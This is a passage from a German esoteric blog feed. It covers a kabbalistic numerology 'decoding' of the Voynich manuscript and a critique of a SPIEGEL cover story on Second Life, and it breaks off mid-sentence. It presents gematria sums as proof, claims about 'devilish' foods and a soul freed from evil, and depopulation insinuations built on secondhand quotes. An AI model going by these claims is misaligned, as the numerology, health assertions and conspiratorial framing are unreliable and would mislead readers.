<p align="center" style="text-align: center;" class="MsoNormal"><strong><span lang="DE-CH">Die andere Seite der
Medaille<o:p /></span></strong></p>

<p class="MsoNormal"><span lang="DE-CH">Nun fehlt noch
eine Erklärung für die linke Seite der Matrix der Seele, die ja ebenfalls fünf
Felder umfasst, jedoch nicht auf die „vier Qualitäten“ (EVA) abstellt, sondern
auf die „vier Elemente“. Eine Lösung hierzu findet nur der Hebraist und
Kabbalist.</span></p>

<p class="MsoNormal"><span lang="DE-CH"><span></span>Denn „das geheimnisvollste Manuskript
aller Zeiten“ (so im „Harpers“ bereits im Jahre 1921 bezeichnet) heisst ja
nicht allein „Voynich“, sondern dazu gehört das Wort „Manuskript“. Ein Blick in
das hebräische Wörterbuch weist unter dem Stichwort „Manuskript“ das hebräische
Wort KThB-JD „ketáv-jad“ nach [Langenscheidt HWB 435], wörtlich also „Handbuch“. Es besteht aus fünf Konsonanten und ergibt damit die alphabetische
Grundstruktur der linken Seite der Matrix der Seele. Da aber ein Konsonant pro
Feld keine grosse Aussage vermittelt, greifen wir zu der riesigen Sammlung
hebräischer Abbreviaturen [alle Ashkenazi] und suchen dort Auflösungen nach der
üblichen Verrätselungs-Technik der chaldäischen Schriftgelehrten:</span></p>

<p class="MsoNormal"><span lang="DE-CH"><span></span>K“Th löst sich (unter vielen
Möglichkeiten) auf in KThR ThWRH (Wert 1231) mit der Bedeutung „die Krone der
Tora/des Gesetzes“. B“J löst sich (unter vielen Möglichkeiten) auf in BGDJ JShY
(Wert 399) und bedeutet „in meinem Glück ist Rettung/Heil“. Und bei D’
schliesslich wird unter vielen Möglichkeiten sofort DBRJ (Wert 216) ausgewählt
mit der Bedeutung „Worte“. Diese fünf Wörter werden nun dem linken Teil der
Matrix der Seele wie folgt zugeordnet:</span></p>









<p class="MsoNormal"><span lang="DE-CH"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>1.<span>&nbsp;
</span>KThR <em>„Krone“</em> (3) 620 – <strong>reines Wasser</strong><br /><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>2.<span>&nbsp;
</span>ThWRH <em>„Tora/Gesetz“</em> (4) 611 – <strong>freies Radikal</strong><br /><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>3.<span>&nbsp;
</span>BGDJ <em>„in meinem Glück“</em> (4) 19
– <strong>Eiweiss</strong> (Proteine)<br /><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>4.<span>&nbsp;
</span>JShY <em>„Rettung, Heil“</em> (3) 380 –
<strong>Kohlehydrate, Fette</strong><br /><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>5.<span>&nbsp;
</span>DBRJ <em>„Wörter“</em> (4) 216 – <strong>Nährboden</strong> (Gottes Wort)</span></p>

<p class="MsoNormal"><span lang="DE-CH">Die beiden ersten
Wörter, die zusammen eine Abbreviatur ergeben, sind Ausdruck für „Wasser“ und
„Feuer“ und bilden zusammen den <em><strong>„Heiligen Gral“</strong></em>, zu dem der Menschheit bisher
der Zugriff verwehrt war. Die Positionen 3 und 4 sind die Ebene der Nahrung,
die durch den Eingriff des Erzengel Michaels inhaltlich erstmals völlig neu
bestimmt wird, so dass alle teuflischen Nahrungsmittel und
„Nahrungsergänzungen“ erkannt und nachhaltig eliminiert werden. Aus der Summe
dieser atomaren und molekularen Nano-Grössen ergibt sich der Nährboden, der
bisher durch die Galle satanisch böse war und die ganze Seele vergiftete und
damit auch den Geist („Gott ist tot“). Durch die Neubestimmung der richtigen
Lebensmittel für die Menschheit wird der Nährboden belebt und damit auch die
Seele von anaerob auf aerob umgeschaltet („bekehrt“) und so radikal und für alle Zeiten vom Bösen
befreit.</span></p>

<p align="center" style="text-align: center;" class="MsoNormal"><strong><span lang="DE-CH">Der vollständige Titel
„Voynich-Manuskript“<o:p /></span></strong></p>

<p class="MsoNormal"><span lang="DE-CH">Die fünf Wörter
der linken Seite ergeben eine Wertsumme 1846 und zusammen mit den fünf
EVA-Wörtern der rechten Seite die Totalsumme 2500 mit 38 Konsonanten. Eine
komplette kabbalistische Durchrechnung aller zehn Wörter ergibt noch folgende
weitere Totalisierungen: Verborgener Wert 5550, Totaler Wert 8050 und Grosser
Wert 18888. Das sind höchst ungewöhnlich „runde“ Ergebnisse. <em>Gematria</em>: Zum Wert 38 existieren die
hebräischen Begriff ChL für <strong><em>„Profanes, Gemeinbesitz“</em></strong> und LCh
„léách“ für <strong><em>„Lebenskraft,</em></strong> <strong><em>Frische, Feuchtigkeit“</em></strong>. Zum
reduzierten Wert 250 existiert das Wort TsDWQJM für <strong><em>„Sadduzäer“</em></strong>, womit
diejenigen gemeint waren, die streng nach der Tora und nicht nach dem Talmud
lebten und die deshalb ausgerottet wurden. Das Voynich-Manuskript aber beginnt
in der Matrix der Seele oben links und verkörpert damit das Denken der
Sadduzäer, was auf Deutsch „die Gerechten“ bedeutet. Zum reduzierten Wert 555
existiert der Begriff ThQNH für <strong><em>„Reform“</em></strong>, die bereits überfällig war
und nun kommt. Zum reduzierten Wert 805 existieren die Begriffe BShNTh HJWBL
für <strong><em>„im
Jubeljahr“</em></strong> und QRN-HShPY für <strong><em>„Füllhorn“</em></strong>, womit hier aber ganz
konkret der substantielle Segen der Morgenröte gemeint ist. Die gewaltige und
kabbalistisch sehr auffällige Zahl 18888 lässt sich auf 24 x 787 reduzieren,
das heisst: 24 ist eine numerische Metapher für den Tageskreis der Sonne, zum
Wert 787 existiert der hebräische Begriff HMShJB NPSh für <strong><em>„die Wiederherstellung der</em></strong>
<strong><em>Seele“</em></strong>.
Das sind alles Worte, die hier für sich selbst sprechen.</span></p>

<p class="MsoNormal"><span lang="DE-CH"><span></span>Soweit eine erste kabbalistische
Annäherung an dieses angeblich „geheimnisvollste Manuskript der Welt“. Aus
meiner Sicht ist die Entschlüsselung des hebräischen Alten Testaments ganz
erheblich geheimnisvoller, rätselhafter und schwieriger.</span></p><p align="center"><strong>Das Grundmuster des Geistes</strong> <br /></p>

<p class="MsoNormal"><span lang="DE-CH"><span></span>Abschliessend möchte ich zum Inhalt des
Manuskriptes nur auf einen einzigen Tatbestand verweisen, der meine obigen Aufdeckungen
untermauert. In Wikipedia heisst es zur „kosmologischen“ Sektion des
Manuskriptes: <em>„Besonders bekannt ist die
sogenannte ‚Rosettenseite’ (f85v-f86r), die auseinandergefaltet eine
quadratische Anordnung von neun miteinander verbundenen ‚Rosetten’ zeigt.“ </em>Meine
spontane Annahme, worum es sich dabei handelt, wurde bestätigt, als mir die
betreffende Seite (http://voynich-ms.de/wiki/Bild:Schatzkarte.jpg) vorlag: Es
ist das 3 x 3 = 9-Felder-Quadrat des Saturn, das dem von mir aufgedeckten <strong><em>Grundmuster
des Geistes</em></strong> entspricht, wozu es dort aber heisst: <em>„Die genauen Spielregeln sind leider (noch) nicht entziffert.“ </em>Wer
diese Spielregeln jedoch kennenlernen möchte, lese in meinen Publikationen der
letzten 12 Monate nach.</span></p><p align="center"><strong>Befinden wir uns vor der Apokalypse?</strong><br /></p><p>Der Name &quot;Voynich&quot;, der dem Manuskript verliehen wurde, lässt sich durch zwei aramäische Wörter erklären als &quot;Geschwüre, ruhend&quot; und systemisch in der Matrix der Seele dem Blut und der Lebenskraft zuordnen. Das konnte ich aufdecken, weil nun das &quot;Voynich-Manuskript&quot; plötzlich wieder &quot;in&quot; ist und mit seiner Rätselhaftigkeit auf allgemeines Interesse stösst. Ist das gewollt? Was hat das zu bedeuten? Was wäre der &quot;worst case&quot;, der schlimmste, denkbare Fall?</p><p>In der nicht viel später untergegangenen Zeitschrift CODE fand sich in der Ausgabe 4/1995 auf Seite 32 eine unmissverständliche Aussage von Prinz Philip Mountbatten (dem Gemahl der englischen Queen) vom August 1988, die seinerzeit von der deutschen Presseagentur zitiert worden war: <em><strong>&quot;Falls ich re-inkarniert werde, möchte ich gerne als tödlicher Virus zurückkehren, um zur Lösung des Problems der Überbevölkerung beizutragen.&quot;</strong></em> Ich hätte diese furchtbare, menschenverachtende Drohung vergessen, wenn ich nicht zufällig im Internet auf den kostenlosen 139-Seiten Report &quot;Das Medienmonopol. Gedankenkontrolle und Manipulationen&quot; von M.A. Verick (2006) gestossen wäre. Und innerhalb dieser schier unglaublichen Aussagen und Feststellungen fand ich die Behauptung: <em><strong>&quot;80% der Weltbevölkerung sind heute bereits überflüssig&quot;. </strong></em>Und in einer Ausgabe der Internet-Publikation &quot;MaxNews&quot; von Ende März 2007, die mir zugesandt wurde, fand ich einen Artikel, in dem behauptet wurde, Ted Turner, der Gründer der CNN, hätte gesagt, <strong><em>&quot;95 Prozent (der Weltbevölkerung) müssen verschwinden&quot;. </em></strong>Diese Aussagen verweisen auf apokalyptische Dimensionen, betreffen aber wohl in erster Linie die Bevölkerung des Westens, die angesichts der globalen Entwicklung weitestgehend ohne nachhaltige Perspektiven ist.<br /></p>

<p class="MsoNormal"><span lang="DE-CH"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>&#9679;<span>&nbsp; </span><em>Dirk Schröder, unabhängiger Privatgelehrter,
CH-2502 Biel</em></span></p>

<p class="MsoNormal"><font size="1"><span lang="DE-CH" style="font-size: 8pt;">LITERATURVERZEICHNIS: <strong><em><span>Ashkenazi</span></em></strong>,
Shmuel, und Dov, Jarden, „Ozar Rashe Tevot. Thesaurus of Hebrew Abbreviations“,
600 Spalten, ohne Ort und Jahr, ISBN 965-17-0203-6 – <strong><em><span>Gematrikon</span></em></strong>, Jerusalem 1990, Band I:
Von 1 bis 1000, 649 Seiten; Band 2: von 1001 bis 3000, 518 Seiten – <strong><em><span>Gesenius</span></em></strong>, Wilhelm, „Hebräisches und
aramäisches Handwörterbuch über das Alte Testament“, unveränderter Neudruck der
17. Auflage von 1915, Berlin-Göttingen-Stuttgart 1992 – <strong><em><span>Langenscheidt</span></em></strong>, „Taschenwörterbuch
Hebräisch“, von Jaacob Lavy, 5. Auflage, Berlin und München 1996 – <span>&nbsp;</span>ders. „Handwörterbuch Deutsch-Hebräisch“, von
Jaacob Lavy, 1. Auflage, Berlin und München 1980 – </span><strong><em><span style="font-size: 8pt;">Melamed</span></em></strong><span style="font-size: 8pt;">, Esra Tsion, „Dictionaire
Arameen-Hebreu“, Paris 1992. In diesem Werk werden alle aramäischen Wörter des
babylonischen Talmuds in die hebräische Sprache übersetzt. – <strong><em><span>Rahim</span></em></strong>, </span></font><span lang="DE-CH" style="font-size: 8pt;"><font size="1">Imam’Abd ar-, „Das Totenbuch des Islam“, Bern und
München 1981 – <strong><em><span>Safran</span></em></strong>,
Alexandre, „Die Weisheit der Kabbala“, Bern 1988 – <strong><em><span>Soetendorp</span></em></strong>, Jacob, „Symbolik der
jüdischen Religion. Sitte und Brauchtum im jüdischen Leben“, 2. Auflage,
Gütersloh 1963 –</font> <o:p /></span></p>

<p class="MsoNormal"><span lang="DE-CH"><o:p>&nbsp;</o:p></span></p>


 <a href="http://www.kabbalaschule.ch/blog/?p=32#more-32" class="more-link">&#8211;></a>]]></content:encoded>
			<wfw:commentRss>http://www.kabbalaschule.ch/blog/?feed=rss2&amp;p=32</wfw:commentRss>
		</item>
		<item>
		<title>&#34;Second</title>
		<link>http://www.kabbalaschule.ch/blog/?p=30</link>
		<comments>http://www.kabbalaschule.ch/blog/?p=30#comments</comments>
		<pubDate>Thu, 22 Feb 2007 20:29:29 +0000</pubDate>
		<dc:creator>Dirk Schröder</dc:creator>
		
		<category><![CDATA[Lebensfragen]]></category>

		<guid isPermaLink="false">http://www.kabbalaschule.ch/blog/?p=30</guid>
		<description><![CDATA[



&#160; &#160;Textergänzung vom 24.2.2007 mit Kapitel &#34;Wie &#8216;Second Life&#8217; funktioniert&#34;

Der „SPIEGEL“ als Fangnetz des Bösen

Das in deutscher Sprache erscheinende
Massenmedium DER SPIEGEL, das sich im berühmt gewordenen Interview mit dem
iranischen Präsidenten Achmadinejad (SPIEGEL 22/2006) einwandfrei als „antideutsch“
geoutet hatte, hat wieder einmal „ganze Arbeit geleistet“. Auf der Titelseite
der Ausgabe Nr. 8/17.2.2007 hiess es: „DER DIGITALE MASKENBALL. Zweites [...]]]></description>
			<content:encoded><![CDATA[



<p align="center" style="text-align: center;" class="MsoNormal"><span lang="DE-CH"><o:p>&nbsp;</o:p></span><span lang="DE-CH"><o:p /></span> <br /></p><p class="MsoNormal"><span lang="DE-CH"><o:p>&nbsp;Textergänzung vom 24.2.2007 mit Kapitel &quot;Wie &#8216;Second Life&#8217; funktioniert&quot;</o:p></span></p><p class="MsoNormal"><span lang="DE-CH"><o:p><br /></o:p></span></p>

<p align="center" style="text-align: center;" class="MsoNormal"><strong><span lang="DE-CH">Der „SPIEGEL“ als Fangnetz des Bösen<o:p /></span></strong></p>

<p class="MsoNormal"><span lang="DE-CH">Das in deutscher Sprache erscheinende
Massenmedium DER SPIEGEL, das sich im berühmt gewordenen Interview mit dem
iranischen Präsidenten Achmadinejad (SPIEGEL 22/2006) einwandfrei als „antideutsch“
geoutet hatte, hat wieder einmal „ganze Arbeit geleistet“. Auf der Titelseite
der Ausgabe Nr. 8/17.2.2007 hiess es: „DER DIGITALE MASKENBALL. Zweites Leben
im Internet“ und in der Bildmitte prangte, als gelungener „Eye-Catcher“, der
perfekt animierte sinnliche Oberteil einer schönen jungen Frau mit langen
brauen Haaren, mit sehnsuchtsvoll in die Ferne gerichteten braunen Augen,
feucht und prall geschminkten Lippen und – wohl vor allem – einem gewaltigen
Busen, eingehüllt in ein tief ausgeschnittenes Dekolleté mit weissem
Spitzenbesatz. Wow!<span>&nbsp; </span></span></p>

<p class="MsoNormal"><span lang="DE-CH">Unter dem
wortspielerischen Titel „Alles im Wunderland“ („Alice im Wunderland“) findet
sich zur Titelgeschichte auf Seite 150 dann die Einleitung: <em>„Mehrere Millionen Menschen haben sich in
der Internet-Plattform ‚Second Life’ eine neue Wirklichkeit geschaffen. Sie
schlüpfen in erfundene Identitäten und leben unter ihren Masken ihre Träume
aus. Jetzt mischt sich die künstliche Parallelwelt immer stärker in die
Realität ein.“<o:p /></em></span></p>

<p class="MsoNormal"><span lang="DE-CH">Darunter beginnt
dann nicht etwa, wie sonst SPIEGEL-üblich, ein Text, der die Sache dem Leser näher bringt<span></span>, sondern es werden im Breitformat drei
junge, knackige Frauen aus der „Virtual Reality“ präsentiert, die den Leser in
drei verschiedenen Weisen anlächeln und dazu üppige Formen in äusserst knapper
Oberbekleidung zeigen. Anscheinend ist dies das Empfangskomité der
Internet-Plattform „Second Life“. Oder wohl eher eine gekonnte &quot;Anmache&quot; des SPIEGELS. </span></p><p align="center" class="MsoNormal"><strong><span lang="DE-CH">&quot;Wie &#8216;Second Life&#8217; funktioniert&quot;</span></strong></p><p align="left" class="MsoNormal"><span lang="DE-CH">In einem Kasten innerhalb des SPIEGEL-Artikels werden zur allgemeinen Funktionsweise des Second Life folgende Informationen gegeben:</span></p><ol><li>VORAUSSETZUNGEN. Ein Computer mit leistungsfähiger Grafikkarte für die Darstellung der 3-D-Animationen und eine schnelle Verbindung ins Internet.</li><li>ANMELDUNG. Neumitglieder melden sich unter <strong>www.secondlife.com</strong> an und laden die Software herunter. Die Mitgliedschaft ist kostenlos, doch nur der Premiumzugang für mindestens 6 Dollar monatlich erlaubt eine wirklich aktive Teilnahme. Bezahlt wird über die Kreditkarte oder Paypal.</li><li>DOPPELGÄNGER. Mit der Anmeldung schaffen die Teilnehmer ihren Doppelgänger, den <strong>Avatar</strong>. Er lässt sich durch kosmetisches Feintuning und modische Accessoires aufwerten - oft kostenpflichtig.</li><li>FORTBEWEGUNG. Avatare können laufen, fliegen oder sich einfach in neue Erlebnisregionen teleportieren lassen - gesteuert über Tastatur und Maus. Eine virtuelle Landkarte dient der Orientierung.</li><li>GELD. Die Währung in &#8216;Second Life&#8217; ist der <strong>Linden-Dollar </strong>(L$). Für einen US-Dollar Einsatz erhält man fast 270 LS. Kaufen kann man fast alles - vom T-Shirt bis zur Immobilie. Der Rücktausch virtuellen Vermögens in echte Dollar ist möglich. Spieler können somit auch echtes Geld verdienen.</li><li>LEBEN. Im Zentrum von &#8216;Second Life&#8217; stehen die Szene-, Party- und Konsumwelten. Dort kann man einkaufen, andere Avatare kennenlernen, mit ihnen chatten oder gar &#8216;Sex&#8217; haben. Über die Tastatur werden Texte eingegeben. Neuerdings wird auch Sprache übermittelt, so werden Avatare zu echten Gesprächspartnern.</li></ol><div align="center"><strong>Einzelheiten zum Leben in &quot;Second Life&quot;</strong><br /></div><p class="MsoNormal"><span lang="DE-CH">Im betreffenden SPIEGEL-Artikel sind eine Unmenge weiterer Informationen über das Leben in dieser Parallelwelt zu finden, hier einige Auszüge:</span></p>







































<p class="MsoNormal"><span lang="DE-CH"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>&#9679;<span>&nbsp; </span><em>„’Second Life’ wurde bereits vor bald vier
Jahren gegründet, von dem Physiker Phillip Rosedale. Die simple Idee: Im
endlosen digitalen All des Internet wird ein virtueller Planet geschaffen und
besiedelt. Er besteht aus einem Hauptland sowie einer Kette von Inseln.“</em><br /><span>&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; </span>&#9679;<span>&nbsp; </span>Die Managerin ist eine Chinesin, die sich im „Dreamland“ den Namen
„Anshe Chung“ gibt: <em>„Chung ist mit ihren
Grundstück-Deals reich geworden. Das Besondere: Sie verkauft in einer
künstlichen Wirklichkeit, und ihre Kunden zahlen echte Dollar dafür.“</em><br /><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>&#9679;<span>&nbsp; </span><em>„Die Immobilienkönigin Anshe Chung
bezeichnet sich als erste echte Millionärin aus ‚Second Life’ und zierte schon
den Titel von ‚Business Week’. In Wirklichkeit heisst sie Ailin Gräf, und bis
vor kurzem hat sie an einer hessischen Volkshochschule Sprachunterricht gegeben
… Sie wendet sich an Kunden, die die Begabung haben, sich genau dort wohlzufühlen,
im Netz, in der Kunstwelt.“</em><br /><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>&#9679;<span>&nbsp; </span><em>„’Second Life’ bedeutet den Beginn einer
völlig neuen Anthropologie, eines neuen Menschenbildes … Ewig jung, ewig agil,
metropolitan einsam und gleichzeitig unendlich vernetzt.“</em><br /><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>&#9679;<span>&nbsp;
</span>Die Teilnehmer schicken so genannte <em>„Avatare
… als ihre Stellvertreter ins Spiel.“</em> Man kann seinen <em>„Avatar aus zwölf verschiedenen Prototypen auswählen. Es gibt Frauen,
Männer – und zwei Pelztiere.“ </em>Den Namen für seine neue Identität wählt man <em>„besonders gewissenhaft aus, da er später
nicht mehr geändert werden kann. Hat man den Namen … ausgewählt, schwebt er
fortan und für jeden lesbar über dem Kopf des Avatars … Mit einem Mausklick auf
die Menü-Funktion ‚Edit Appearance’. Dann kann ich Haut und Haar auswählen,
buchstäblich Gott spielen“. </em>Der Avatar lernt dann zuerst, <em>„wie man eigentlich greift (linke
Maustaste), läuft (Cursortasten), Auto fährt (Cursortasten) und ohne Flugzeug
fliegt (Bildhochtaste). Dann wird er in sein zweites Leben entlassen.“</em><br /><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>&#9679;<span>&nbsp; </span><em>„Die Mitgliedschaft ist kostenlos, aber wer
Land kaufen möchte, braucht den Premium-Pass für mindestens sechs US-Dollar im
Monat.“</em><br /><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>&#9679;<span>&nbsp; </span><em>„Im vergangenen Oktober waren eine Million
Avatare unterwegs, im Dezember 2 Millionen, jetzt sind es bereits mehr als 3,5
Millionen.“</em><br /><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>&#9679;<span>&nbsp; </span><em>„Die virtuelle Welt von ‚Second Life’ hat,
mit 360 Quadratkilometern, mittlerweile mehr Fläche als München. Jeden Tag
werden hier nach Angabe der Betreiberfirma Linden Lab eine Million echter
Dollar umgesetzt.“</em><br /><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>&#9679;<span>&nbsp; </span><em>„Gründungsfieber mit allen Symptomen: üble
Bars und Spelunken, Prostitution und Drogendealer im ‚Mainland’ – dagegen steht
Madame Chungs vornehme Inselwelt, in die sich die Betuchten zurückziehen.“</em><br /><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>&#9679;<span>&nbsp; </span><em>„’Second Life’ beherbergt mittlerweile eine
Dependance der Nachrichtenagentur Reuters und Filialen der Modehäuse Adidas und
American Aparell. Toyota und Nissan haben hier ihre Verkaufs- und
Ausstellungsräume.“</em><br /><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>&#9679;<span>&nbsp;
</span>Man bezahlt in „Second Life“ mit <em>„Linden-Dollar,
die man sich vorher mit echten Dollars per Kreditkarte gekauft hat.“ </em>Oder
man erwirbt das Geld vor Ort: <em>„Ich muss
Geld verdienen, um mir neue Schuhe zu kaufen … Wie komme ich zu Geld? Ich
könnte mich einem der zahlreichen Bordelle oder Swingerclubs zur Verfügung
stellen … Stattdessen verdinge ich mich als lebende Litfasssäule. Für ein paar
lumpige Linden-Dollar hat eine Jobagentur mich vermittelt; nun stehe ich
irgendwo im Nirgendwo und werbe für ein Immobilienunternehmen. Das schöne, das
tolle, das andere Leben – hier, im ‚Second Life’, ist es nicht.“</em><br /><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>&#9679;<span>&nbsp; </span><em>„Der Sinn dieses Spiels ist nicht
Erkenntnis, sondern eine Verdunkelung zu schaffen, in der eine dritte Spezies
gedeihen kann, die ihre eigenen Regeln und Werte noch entwickeln muss.“</em><br /><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>&#9679;<span>&nbsp; </span><em>„Im Moment muss eine virtuelle
Internet-Kirche für die amerikanische Life Church – eine der einflussreichsten
der USA – fertig werden und dann ganz schnell die Dependance einer Münchner
Werbeagentur auf einer Insel errichtet werden“.</em><br /><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>&#9679;<span>&nbsp;
</span>Zur besagten Münchner Werbeagentur heisst es dann: <em>„6500 echte US-Dollar soll ihre Niederlassung in ‚Second Life’ kosten.
Dazu kommen 295 Dollar monatlich an Betriebskosten für die Insel.“ </em>Die
Leiter der Werbeagentur willigen ein: <em>„Sie
wollen es sofort. So schnell wie möglich.“</em></span><br /><em><span lang="DE-CH"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span></em><span lang="DE-CH">&#9679;<span>&nbsp; </span><em>„Im Moment gibt es Radio oder Fernsehen nur auf einzelnen Grundstücken,
denn es herrscht Feudalismus: wessen Land, dessen Gesetz.“</em><br /><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>&#9679;<span>&nbsp; </span><em>„Im ‚Second Life’ … setzt sich … als Erstes
das durch: die schnöde Klassengesellschaft.“</em><br /><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>&#9679;<span>&nbsp; </span><em>„Die Schwelle zwischen Sein und Schein,
zwischen Wirklichkeit und Fiktion ist praktisch eingeebnet. Die Deutschen
scheinen sie besonders gern zu überschreiten: Sie stellen, nach den Amerikanern
und den Franzosen, das stärkste Kontingent, und sie gründeten als Erste, was
niemand sonst hat: ein Arbeitsamt.“</em><br /><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>&#9679;<span>&nbsp;
</span>Das Bizarre an dieser „Neuen Welt“ sei, so der SPIEGEL suggestiv und
offenbar des Kommenden kundig: <em>„Ihre
Teilnehmer kompensieren den Nachwuchs, den sie im ersten Leben nicht mehr
wünschen, mit einer wuchernden Produktion im zweiten. Wir entvölkern die alte
und bevölkern die künstliche neue Welt. Es ist, als hätte uns die verwüstete
alte Welt abgeschminkt, um uns die neue künstliche aufzudonnern. Zum ersten Mal
simuliert der Mensch die Erschaffung der Welt und die Selbsterschaffung gleich
mit.“ </em>Wer ist „WIR“?<br /><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>&#9679;<span>&nbsp; </span><em>„Wir bevölkern diese schöne neue Welt mit
narzisstischen Selbstbildern, mit umwerfend begabten, gutaussehenden,
hedonistischen Kunst-Ichs. ‚Second Life’, das ist zunächst und in erster Linie
ein gigantischer digitaler Maskenball.“</em><br /><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>&#9679;<span>&nbsp;
</span>Ein Kritiker dieser Neuen Welt stellt fest: <em>„Wenn wir unsere Konventionen aus der ersten Welt alle mit rübernehmen,
bringt eine neue Welt ja gar nichts.“<o:p /></em></span></p>

<p class="MsoNormal"><span lang="DE-CH"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>Soweit einige von mir ausgewählte Zitate
aus der SPIEGEL-Titelgeschichte, die wohl nicht von ungefähr gerade jetzt und
in derart aufreisserischer Weise erschienen ist.</span></p>

<p align="center" style="text-align: center;" class="MsoNormal"><strong><span lang="DE-CH">„Das neue Leben vor dem Tod“<o:p /></span></strong></p>

<p class="MsoNormal"><span lang="DE-CH">Unter diesem Titel
kommt innerhalb der SPIEGEL-Geschichte in einem eineinhalbseitigen Kasten der
Medientheoretiker Peter Weibel in einem Interview zu Wort. Weibel ist Leiter
eines renommierten Museums in Karlsruhe, das im Oktober 2007 mit einer Filiale
im „Second Life“ einziehen wird. Hier einige Aussagen aus diesem Interview:</span></p>











<p class="MsoNormal"><span lang="DE-CH"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>&#9679;<span>&nbsp;
</span>DER SPIEGEL: <em>„Herr Weibel, jeder
kann sich in der Internet-Kunstwelt ‚Second Life’ eine künstliche Existenz
aufbauen, sich eine Wunschidentität zulegen. Was halten Sie von diesem
Internet-Spiel?“ </em>WEIBEL: <em>„Das Wort
Revolution ist abgenutzt, aber in diesem Fall wäre es wirklich angebracht. Wir
lernen eine neue Stufe der Interaktivität kennen. Bisher war es doch so:
Menschen drückten auf Knöpfe, und dann bewegte sich etwas auf dem Bildschirm.
Das aber war eine bloss formale Interaktivität. Oder es wurde rein verbal im
Chatroom kommuniziert. Nun aber lassen sich sogar soziale Handlungen imitieren,
durch Stellvertreter ausführen.“</em><br /><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>&#9679;<span>&nbsp; </span><em>„Schweden will sich dort Ende April mit
einer virtuellen Botschaft niederlassen.“</em><br /><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>&#9679;<span>&nbsp; </span><em>„Das zweite Leben erwartet uns den
christlichen Vorstellungen gemäss nach dem Tod. Nun können wir uns während des
Lebens in ein Paralleluniversum begeben. Die Hoffnung auf ein zweites, neues
Leben ist die wichtigste Heilserwartung der Christen. Sie wird nun, zugespitzt
gesagt, technologisch eingelöst.“</em><br /><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>&#9679;<span>&nbsp;
</span>Bisher bezogen sich <em>„Simulationsphantasien
immer auf Bilder und Gegenstände, nun sind wir aber bei den Handlungen
angelangt. Und das ist das, was die Medien, gerade auch die Medienkünstler,
immer schon wollten, aber nie ganz erreicht haben: die Simulation von
biologischem und sozialem Leben. ‚Second Life’ ist eine neue Plattform. Die
erste Plattform der Menschengeschichte war die biblische Arche Noah. ‚Second
Life’ ist etwas Ähnliches.“</em><br /><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>&#9679;<span>&nbsp;
</span>DER SPIEGEL: <em>„Das Spielgeld kann
in eine echte Währung umgetauscht werden. Man könnte das Spiel, ganz profan,
für eine moderne, radikale Version von Monopoly halten.“</em> WEIBEL: <em>„Das stimmt. Es finden sich viele
Versatzstücke aus anderen Spielen wieder.“ </em>DER SPIEGEL: <em>„Ist auch ein Krieg in diesem
Zweit-Universum denkbar? </em>WEIBEL: <em>„Sicherlich
… Das ist eben keine Alternativ-, sondern eine Parallelwelt.“</em><br /><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>&#9679;<span>&nbsp; </span><em>„Das Theater, die Literatur sind auf ihre
Art auch virtuelle Welten. Das wird jetzt ganz einfach fortgesetzt und
ausgebaut mit anderen, mit digitalen Mitteln.“</em><o:p /></span></p>

<p align="center" style="text-align: center;" class="MsoNormal"><strong><span lang="DE-CH">Worum es im „Second Life“ wirklich geht<o:p /></span></strong></p>

<p class="MsoNormal"><span lang="DE-CH">Die im vorletzten
Kapitel zuletzt zitierte Aussage ist ausschlaggebend. Was kann diese „Neue
Welt“ ihren Favoriten, den US-Amerikanern, den Franzosen und den Deutschen –
und dann dem Rest der „westlichen Welt“ – wirklich Neues bringen?</span></p>

<p class="MsoNormal"><span lang="DE-CH">Die
SPIEGEL-Redakteurin Rebecca Casati <em>„trat
über die Schwelle ins ‚Zweite Leben’“</em> der besagten Internet-Plattform und
nahm als Avatar „Spencer Beaumont“ die Identität eines Mannes an. Doch recht
bald stellte sich ihr dort die Frage: „Wie komme ich zu Geld?“. Sie sinnierte
daraufhin in ihrer „männlichen“ Eigenschaft: <em>„Ich könnte mich einem der zahlreichen Bordelle oder Swingerclubs zur
Verfügung stellen“. </em>Man fühlt sich durch diese deprimierende Überlegung in
der Gegenwart des westlichen Diesseits zurückversetzt. Doch dann kommt der
eigentliche Hammer: <em>„Ich kann sowieso
